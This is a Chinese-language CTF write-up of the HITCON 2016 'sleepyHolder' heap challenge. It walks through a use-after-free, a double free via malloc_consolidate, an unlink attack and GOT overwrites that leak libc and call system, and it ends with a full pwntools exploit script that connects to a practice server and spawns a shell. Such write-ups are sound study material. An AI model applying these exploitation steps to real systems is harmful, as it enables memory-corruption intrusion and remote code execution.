oin

writeup


sleepyHolder_hitcon_2016

<p>[TOC]</p> <h1>分析</h1> <p>主要包含三个操作</p> <p>keep操作里可以申请一个fastbin、small bin和large bin</p> <p><img src="https://pic.imgdb.cn/item/63a5befa08b6830163c7e3d3.png" alt="" />  </p> <p><img src="https://pic.imgdb.cn/item/63a5bf4708b6830163c85a4d.png" alt="" />  </p> <p><img src="https://pic.imgdb.cn/item/63a5bf6408b6830163c884c7.png" alt="" />  </p> <p>而wipe里只有smallbin和fastbin的释放操作</p> <p><img src="https://pic.imgdb.cn/item/63a5bf8b08b6830163c8c50f.png" alt="" />  </p> <p>这里存在UAF漏洞</p> <p>renew是对smallbin和fastbin进行写入操作</p> <p><img src="https://pic.imgdb.cn/item/63a5bfc008b6830163c91c8b.png" alt="" />  </p> <p>但是会检测标志是否可写,所以考虑使用double free来实现释放后写入</p> <p>如何构造double free?我们不可以直接之间释放两次fastbin,因为它会检测释放的chunk和fastbin的头chunk是否是同一个,是的话直接报错</p> <p><img src="https://pic.imgdb.cn/item/63a5c1a708b6830163cc223e.png" alt="" />  </p> <p>当申请一个small bin的时候,如果smallbin没有初始化,那么就会出发malloc_consolidate将所有的fastbin chunk进行合并,单独放进unsortedbin,同时会设置后一个chunk的inuse标志为0,表示前一个chunk为释放状态,这时候fastbin里就没有那个chunk了,这时候就可以再次释放该chunk形成double free</p> <p>首先申请一个fastbin和smallbin,smallbin的作用是隔离让fastbin能单独放入unsortedbin中</p> <pre><code class="language-python">addsmall('aaaa') addbig('bbbb') </code></pre> <p>然后释放fastbin,再申请一个huge chunk,就会导致fastbin合并到unsortedbin中,但又由于这里big chunk的隔离,所以这个unsortedbin chunk只有0x30大小,所以huge chunk只能从top chunk分割,这时候small chunk的inuse标志位会设置为0,因为fastbin归为了unsortedbin,而且这时候small chunk可以再次释放,形成了double free</p> <p>然后我们需要再申请回small chunk为了在里面伪造fake chunk,让big chunk释放后和它合并产生unlink操作从而修改bss段中的堆指针,修改buf堆指针为free@got,big的堆指针为其他got表,接着修改free@got为puts@plt,再wipe big,就会打印出libc函数地址,利用这个地址计算出system地址填入free@got,最后申请一个big chunk,写入“/bin/sh”,再wipe即可执行system(“/bin/sh”)  </p> <h1>Exploit</h1> <pre><code>from pwn import* context.log_level = 'debug' # o = process('./pwn') libc = ELF("./libc-2.23.so") o = remote('node4.buuoj.cn', 25499) a = lambda x : o.sendlineafter('3. Renew secret\n', str(x)) def addsmall(secret):     a(1)     o.sendlineafter('What secret do you want to keep?\n', '1')     o.sendafter('Tell me your secret: \n', secret) def addbig(secret):     a(1)     o.sendlineafter('What secret do you want to keep?\n', '2')     o.sendafter('Tell me your secret: \n', secret) def addhuge(secret):     a(1)     o.sendlineafter('What secret do you want to keep?\n', '3')     o.sendafter('Tell me your secret: \n', secret) def wipesmall():     a(2)     o.sendlineafter('2. Big secret\n', '1') def wipebig():     a(2)     o.sendlineafter('2. Big secret\n', '2') def renewsmall(secret):     a(3)     o.sendlineafter('2. Big secret\n', '1')     o.sendafter('Tell me your secret: \n', secret) def renewbig(secret):     a(3)     o.sendlineafter('2. Big secret\n', '2')     o.sendafter('Tell me your secret: \n', secret) bss = 0x6020d0 puts_plt = 0x400760 free_got = 0x602018 # 构造double free addsmall('aaaa') addbig('bbbb') wipesmall() addhuge('cccc') wipesmall() # 伪造chunk,实现unlink payload = p64(0) + p64(0x21) + p64(bss-0x18) + p64(bss-0x10) + p64(0x20) addsmall(payload) wipebig() # 修改堆指针 payload = p64(0x602068)*3 + p64(free_got) + p32(1)*3 renewsmall(payload) renewsmall(p64(puts_plt)) wipebig() malloc_addr = u64(o.recv(6)+"\x00\x00") libc_base = malloc_addr - 0x84130 log.info(hex(libc_base)) system = libc_base + 0x45390 # 获取shell renewsmall(p64(system)) addbig("/bin/sh") wipebig() o.interactive() </code></pre> <p><img src="https://pic.imgdb.cn/item/63a6d48208b68301636503b8.png" alt="" /></p>

页面列表

ITEM_HTML